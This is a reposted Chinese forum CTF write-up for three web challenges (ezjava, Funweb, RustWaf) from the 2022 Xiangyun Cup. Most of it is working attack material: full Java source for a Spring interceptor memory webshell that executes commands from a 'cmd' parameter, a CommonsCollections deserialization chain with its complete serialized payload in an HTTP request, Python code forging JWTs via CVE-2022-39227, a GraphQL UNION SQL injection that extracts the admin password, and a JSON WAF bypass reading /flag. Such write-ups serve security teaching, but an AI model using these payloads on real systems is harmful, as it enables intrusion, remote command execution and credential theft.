安全矩阵

 找回密码
 立即注册
搜索
查看: 921|回复: 0

2022祥云杯web题解-writeup

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-11-5 16:16:35 | 显示全部楼层 |阅读模式

2022祥云杯web题解-writeup (qq.com)


​前言:这是属于pwn佬的时代,俩天的比赛,三个web,10个pwn!
编辑
ezjava看到一个反序列点而去没有黑名单
编辑
本地直接打CC链可以弹计算机。题目curl自己服务器没反应,不出网。确认要加载内存马。使用cc2链加载下面的内存马

  1. package com.example.exp;

  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import org.springframework.web.context.WebApplicationContext;
  8. import org.springframework.web.context.request.RequestContextHolder;
  9. import org.springframework.web.context.request.ServletRequestAttributes;
  10. import org.springframework.web.servlet.HandlerInterceptor;
  11. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  12. import org.springframework.web.servlet.support.RequestContextUtils;

  13. import javax.servlet.http.HttpServletRequest;
  14. import javax.servlet.http.HttpServletResponse;
  15. import java.io.IOException;
  16. import java.io.InputStream;
  17. import java.io.PrintWriter;
  18. import java.util.Scanner;

  19. //shell.java
  20. public class shell extends AbstractTranslet implements HandlerInterceptor {
  21.     static{
  22.         try{
  23.             //获取上下文环境
  24.             WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

  25.             //获取adaptedInterceptors属性值
  26.             org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
  27.             java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  28.             field.setAccessible(true);
  29.             java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

  30.             //将恶意Interceptor添加入adaptedInterceptors
  31.             shell the_shell_interceptor = new shell();
  32.             adaptedInterceptors.add(the_shell_interceptor);
  33.         } catch (NoSuchFieldException e) {
  34.             e.printStackTrace();
  35.         } catch (IllegalAccessException e) {
  36.             e.printStackTrace();
  37.         }
  38.     }

  39.     @Override
  40.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  41.         String cmd = request.getParameter("cmd");
  42.         PrintWriter writer = response.getWriter();
  43.         if (cmd != null) {
  44.             InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  45.             Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
  46.             String result = scanner.hasNext()?scanner.next():"";
  47.             scanner.close();
  48.             writer.write(result);
  49.         }else {
  50.             writer.write("use cmd");
  51.         }
  52.         writer.flush();
  53.         writer.close();
  54.         return true;
  55.     }

  56.     @Override
  57.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  58.     }

  59.     @Override
  60.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

  61.     }
  62. }
复制代码
  1. package com.example.exp;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections4.Transformer;
  5. import org.apache.commons.collections4.comparators.TransformingComparator;
  6. import org.apache.commons.collections4.functors.InvokerTransformer;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.math.BigInteger;
  10. import java.util.PriorityQueue;


  11. public class demo {
  12.     public static void main(String[] args) throws Exception {
  13.         FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator\\Desktop\\buu\\exp\\target\\classes\\com\\example\\exp\\shell.class");
  14.         byte[] bs = new byte[inputFromFile.available()];
  15.         inputFromFile.read(bs);
  16.         TemplatesImpl obj = new TemplatesImpl();
  17.         setFieldValue(obj, "_bytecodes", new byte[][]{bs});
  18.         setFieldValue(obj, "_name", "TemplatesImpl");
  19.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

  20.         Transformer transformer = new InvokerTransformer("getOutputProperties", new Class[]{}, new Object[]{});
  21.         TransformingComparator comparator  = new TransformingComparator(transformer);

  22.         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2);
  23.         queue.add(new BigInteger("10"));
  24.         queue.add(new BigInteger("100"));


  25.         Field field = PriorityQueue.class.getDeclaredField("queue");
  26.         field.setAccessible(true);
  27.         Object[] objects = (Object[]) field.get(queue);
  28.         objects[0] = obj;

  29.         Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
  30.         field2.setAccessible(true);
  31.         field2.set(queue, comparator);
  32.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
  33.         objectOutputStream.writeObject(queue);
  34.         objectOutputStream.close();
  35.     }
  36.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  37.         Field field = obj.getClass().getDeclaredField(fieldName);
  38.         field.setAccessible(true);
  39.         field.set(obj, value);
  40.     }

  41. }
复制代码
  1. package com.example.exp;


  2. import java.io.ByteArrayOutputStream;
  3. import java.io.FileInputStream;
  4. import java.io.InputStream;
  5. import java.util.Base64;

  6. public class base64 {
  7.     public base64() {
  8.     }

  9.     public static void main(String[] args) throws Exception {
  10.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  11.         InputStream ios = new FileInputStream("C:\\Users\\Administrator\\Desktop\\buu\\exp\\1.ser");

  12.         int temp;
  13.         while((temp = ios.read()) != -1) {
  14.             baos.write(temp);
  15.         }

  16.         System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
  17.     }
  18. }
复制代码
最后再提交报就可。这里有个细节。把内容类型直接改成text/plain即可。
  1. POST /myTest?cmd=cat%20/flag HTTP/1.1
  2. Host: 47.95.3.91:14878
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. Content-Type: text/plain
  10. Content-Length: 7828


  11. rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAATZ2V0T3V0cHV0UHJvcGVydGllc3VyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHcEAAAAA3NyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+AAtMAAVfbmFtZXEAfgAKTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAABK1yv66vgAAADQAzQoAJwBrCAA+CwBsAG0LAG4AbwoAcABxCgBwAHIKAHMAdAcAdQoACAB2CAB3CgAIAHgKAAgAeQoACAB6CAB7CgAIAHwKAH0AfggAfwoAfQCACgB9AHwKAIEAggcAgwoAFQCECgCFAIYHAIcLAIgAiQcAiggAXwoAiwCMCgCNAI4KAI0AjwcAkAcAkQoAIABrCgAfAJIHAJMKACMAlAcAlQoAJQCUBwCWBwCXAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMY29tL2V4YW1wbGUvZXhwL3NoZWxsOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3NjYW5uZXIBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAA1TdGFja01hcFRhYmxlBwCRBwCYBwCZBwCaBwCbBwCcBwCdBwB1AQAKRXhjZXB0aW9ucwcAngEAEE1ldGhvZFBhcmFtZXRlcnMBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwCfAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABV0aGVfc2hlbGxfaW50ZXJjZXB0b3IBAAFlAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47BwCTBwCVAQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMACkAKgcAmAwAoAChBwCZDACiAKMHAKQMAKUApgwApwCoBwCpDACqAKsBABFqYXZhL3V0aWwvU2Nhbm5lcgwAKQCsAQACXEEMAK0ArgwArwCwDACxALIBAAAMALMAKgcAnAwAtAC1AQAHdXNlIGNtZAwAtgAqBwC3DAC4ALkBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDAC6ALsHALwMAL0AvgEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcHAL8MAMAAwQEAPm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nBwDCDADDAMQHAMUMAMYAxwwAyADJAQATamF2YS91dGlsL0FycmF5TGlzdAEAFWNvbS9leGFtcGxlL2V4cC9zaGVsbAwAygDLAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uDADMACoBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9QcmludFdyaXRlcgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAPcHJpbnRTdGFja1RyYWNlACEAIAAnAAEAKAAAAAUAAQApACoAAQArAAAALwABAAEAAAAFKrcAAbEAAAACACwAAAAGAAEAAAAXAC0AAAAMAAEAAAAFAC4ALwAAAAEAMAAxAAMAKwAAAUMAAwAJAAAAaisSArkAAwIAOgQsuQAEAQA6BRkExgBDuAAFGQS2AAa2AAc6BrsACFkZBrcACRIKtgALOgcZB7YADJkACxkHtgANpwAFEg46CBkHtgAPGQUZCLYAEKcAChkFEhG2ABAZBbYAEhkFtgATBKwAAAADACwAAAA2AA0AAAAvAAoAMAASADEAFwAyACQAMwA0ADQASAA1AE0ANgBUADcAVwA4AF4AOgBjADsAaAA8AC0AAABcAAkAJAAwADIAMwAGADQAIAA0ADUABwBIAAwANgA3AAgAAABqAC4ALwAAAAAAagA4ADkAAQAAAGoAOgA7AAIAAABqADwAPQADAAoAYAA+ADcABAASAFgAPwBAAAUAQQAAACkABP8ARAAIBwBCBwBDBwBEBwBFBwBGBwBHBwBIBwBJAABBBwBG+QAQBgBKAAAABAABAEsATAAAAA0DADgAAAA6AAAAPAAAAAEATQBOAAMAKwAAAD8AAAADAAAAAbEAAAACACwAAAAGAAEAAABCAC0AAAAgAAMAAAABAC4ALwAAAAAAAQBPAFAAAQAAAAEAUQBSAAIASgAAAAQAAQBTAEwAAAAJAgBPAAAAUQAAAAEATQBUAAMAKwAAAEkAAAAEAAAAAbEAAAACACwAAAAGAAEAAABHAC0AAAAqAAQAAAABAC4ALwAAAAAAAQBPAFAAAQAAAAEAVQBWAAIAAAABADwAVwADAEoAAAAEAAEAUwBMAAAADQMATwAAAFUAAAA8AAAACABYACoAAQArAAABHwACAAUAAABQuAAUwAAVtgAWuAAXSyoSGLkAGQIAwAAaTBIaEhu2ABxNLAS2AB0sK7YAHsAAH067ACBZtwAhOgQtGQS2ACJXpwAQSyq2ACSnAAhLKrYAJrEAAgAAAD8AQgAjAAAAPwBKACUABAAsAAAAOgAOAAAAGwANAB4AGQAfACEAIAAmACEALwAkADgAJQA/ACoAQgAmAEMAJwBHACoASgAoAEsAKQBPACsALQAAAEgABwANADIAWQBaAAAAGQAmAFsAXAABACEAHgBdAF4AAgAvABAAXwBgAAMAOAAHAGEALwAEAEMABABiAGMAAABLAAQAYgBkAAAAZQAAAAwAAQAvABAAXwBmAAMAQQAAAA0AA/cAQgcAZ0cHAGgEAAEAaQAAAAIAanB0AA1UZW1wbGF0ZXNJbXBscHcBAHhzcgAUamF2YS5tYXRoLkJpZ0ludGVnZXKM/J8fqTv7HQMABkkACGJpdENvdW50SQAJYml0TGVuZ3RoSQATZmlyc3ROb256ZXJvQnl0ZU51bUkADGxvd2VzdFNldEJpdEkABnNpZ251bVsACW1hZ25pdHVkZXQAAltCeHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhw///////////////+/////gAAAAF1cQB+ABgAAAABZHh4
复制代码



Funweb
编辑
编辑
这里用到的jwt漏洞是这个CVE-2022-39227,有点新https://github.com/davedoesdev/p ... GHSA-5p8v-58qm-c7fp这个题最骚的就是,新版的包还带有这个cve能生成恶意jwt的poc,这个包是想帮用户验证这个新包是否还有以前的问题。那么我们直接来到新版已经修好洞的包这里。https://github.com/davedoesdev/p ... 2ed34b7930068c9test目录下的vulnerability_vows.py这边就是我们可以生产jwt的poc了 直接利用这个包里面的poc生成即可。我们的exp放在test目录下。


  1. from datetime import timedelta
  2. from json import loads, dumps
  3. from test.common import generated_keys
  4. from test import python_jwt as jwt
  5. from pyvows import Vows, expect
  6. from jwcrypto.common import base64url_decode, base64url_encode



  7. def topic2(topic):
  8.     """ Use mix of JSON and compact format to insert forged claims including long expiration """
  9.     [header, payload, signature] = topic.split('.')
  10.     parsed_payload = loads(base64url_decode(payload))
  11.     parsed_payload['is_admin'] = 1
  12.     parsed_payload['username'] = "admin" //改数据
  13.     fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
  14.     return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
  15. key="eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcwNjQ4NTUsImlhdCI6MTY2NzA2NDU1NSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJIWTRlcFhvbnFXclpBaGJoa2VyNTNBIiwibmJmIjoxNjY3MDY0NTU1LCJwYXNzd29yZCI6InNzIiwidXNlcm5hbWUiOiJzcyJ9.G9-ZUWy4dEuusYPCJXyS0Kg_i67Cm2AyMiqAp5V8tBcHr4yhllmr_yw00f3iE3HHwO4ySsQNoMnbolyn_tRF5DANUqy_E-rhHCJ9oR4kzMshQ07L4MfkqQD1YyxUCVAcCJcadAuiIzJvyvKVeyeJZ3h-uals4gNCE50MOY9mjeTBjhCn1FCtQ-7Bt3T2B1lX328aOY4O0J9jGHQyobZNgcJHG4aMLS-xSeVPtpggSho9ALomT82hdWM9DHG09UOppENuoVS3uv-ejPbpR1dDea6kVWgXa4CRfGRWOQyRIGs50uAC6EnosA63cKresm5vWXeGq0Xttm0ObHZsFvbf6w"
  16. print(topic2(key))
复制代码

然后来到网站首页改个token后,点查看flag,提示需要正确的管理员密码。我们刚刚只是让我们的用户名为admin,这个接口应该也检测了我们的密码。所有我们要拿flag的话,还得继续读管理员密码。接下来就是 graphql 。payload如下

  1. 发送
  2. {__schema{types{name}}}
  3. #回显
  4. {'__schema': {'types': [{'name': 'Query'}, {'name': 'Getscorebyname'}, {'name': 'String'}, {'name': 'Getscorebyid'}, {'name': 'Int'}, {'name': 'Boolean'}, {'name': '__Schema'}, {'name': '__Type'}, {'name': '__TypeKind'}, {'name': '__Field'}, {'name': '__InputValue'}, {'name': '__EnumValue'}, {'name': '__Directive'}, {'name': '__DirectiveLocation'}]}}

  5. 发送
  6. { Getscorebyid(id: 1){ id name score }}
  7. 回显
  8. {'getscoreusingid': {'id': '1', 'name': 'admin', 'score': '100'}}


  9. 发送
  10. {
  11.   __type (name: "Getscorebyid") {
  12.     name
  13.     fields {
  14.       name
  15.       type {
  16.         name
  17.         kind
  18.         ofType {
  19.           name
  20.           kind
  21.         }
  22.       }
  23.     }
  24.   }
  25. }

  26. 最后拿管理员密码的paylaod
  27. { getscoreusingnamehahaha(name:"admin'union select password from users where name='admin' and '1'='1"){   name score }}


  28. query={ getscoreusingnamehahaha(name:"shanghe'union select password from users where name='admin' and '1'='1"){   name score }}
复制代码


​直接用题目给的原来getscorebyid不行。改成正常执行回显的getscoreusingid就可以了
编辑
编辑
用Getscorebyname发现也不行。改成回显的getscoreusingnamehahaha就可以了。接下来联合注入一下admin的密码就行了。这个数据库的话是只有管理员的密码和自己注册的账号而已。可以在上面查成绩那里知道
编辑
得到管理员密码,然后admin加上密码登录即可
RustWaf很明显就是过一个waf。然后读一个flag
        

  1. const express = require('express');
  2. const app = express();
  3. const bodyParser = require("body-parser")
  4. const fs = require("fs")
  5. app.use(bodyParser.text({type: '*/*'}));
  6. const {  execFileSync } = require('child_process');

  7. app.post('/readfile', function (req, res) {
  8.     let body = req.body.toString();
  9.     let file_to_read = "app.js";
  10.     const file = execFileSync('/app/rust-waf', [body], {
  11.         encoding: 'utf-8'
  12.     }).trim();
  13.     try {
  14.         file_to_read = JSON.parse(file)
  15.     } catch (e){
  16.         file_to_read = file
  17.     }
  18.     let data = fs.readFileSync(file_to_read);
  19.     res.send(data.toString());
  20. });

  21. app.get('/', function (req, res) {
  22.     res.send('see `/src`');
  23. });



  24. app.get('/src', function (req, res) {
  25.     var data = fs.readFileSync('app.js');
  26.     res.send(data.toString());
  27. });

  28. app.listen(3000, function () {
  29.     console.log('start listening on port 3000');
  30. });
复制代码
​直接去那个路由尝试。成功获得源码
编辑

  1. use std::env;
  2. use serde::{Deserialize, Serialize};
  3. use serde_json::Value;

  4. static BLACK_PROPERTY: &str = "protocol";

  5. #[derive(Debug, Serialize, Deserialize)]
  6. struct File{
  7.     #[serde(default = "default_protocol")]
  8.     pub protocol: String,
  9.     pub href: String,
  10.     pub origin: String,
  11.     pub pathname: String,
  12.     pub hostname:String
  13. }

  14. pub fn default_protocol() -> String {
  15.     "http".to_string()
  16. }
  17. //protocol is default value,can't be customized
  18. pub fn waf(body: &str) -> String {
  19.     if body.to_lowercase().contains("flag") ||  body.to_lowercase().contains("proc"){
  20.         return String::from("./main.rs"); //这里限制我们不能带有flag和proc字段
  21.     }
  22.     if let Ok(json_body) = serde_json::from_str::<Value>(body) {
  23.         if let Some(json_body_obj) = json_body.as_object() {
  24.             if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
  25.                 return String::from("./main.rs");    //这里限制我们的json字段不能带有protocol字段,但是下面限制我们是file结构体,这也就意味着我们一定要有protocol字段
  26.             }
  27.         }
  28.         //not contains protocol,check if struct is File
  29.         if let Ok(file) = serde_json::from_str::<File>(body) {//限制我们只能是这个结构体
  30.             return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
  31.         }
  32.     } else{
  33.         //body not json
  34.         return String::from(body);
  35.     }
  36.     return String::from("./main.rs");
  37. }

  38. fn main() {
  39.     let args: Vec<String> = env::args().collect();
  40.     println!("{}", waf(&args[1]));  //这里把json的第二字段传进去
  41. }
复制代码
​这里protocol直接写俩个,第二个加入一个不可见字符,在经过json_body_obj.keys()的时候,这个函数获取key值的时候应该是无法识别不可见字符的,首先获得第一个正常的protocol,再遍历到第二个带有不可见字符的prot\ud8fffocol,这个函数认为和前面那个是一样的,直接覆盖。但是到了any函数那里是不等于protocol。那么就过了。flag的字段直接url编码{"hostname":"","pathname":"/f%6cag","protocol":"shanghe","origin":"shanghe","href":"shanghe","prot\ud8fffocol":"shanghe"}提交后说需要一个协议
编辑
把"protocol":"shanghe"改成"protocol":"file:"读取文件{"hostname":"","pathname":"/f%6cag","protocol":"file:","origin":"shanghe","href":"shanghe","prot\ud8fffocol":"shanghe"}
编辑
Cyber Guard
#漏洞复现#CTF技巧#安全信息#渗透测试
12篇原创内容
公众号

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:54 , Processed in 0.013720 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表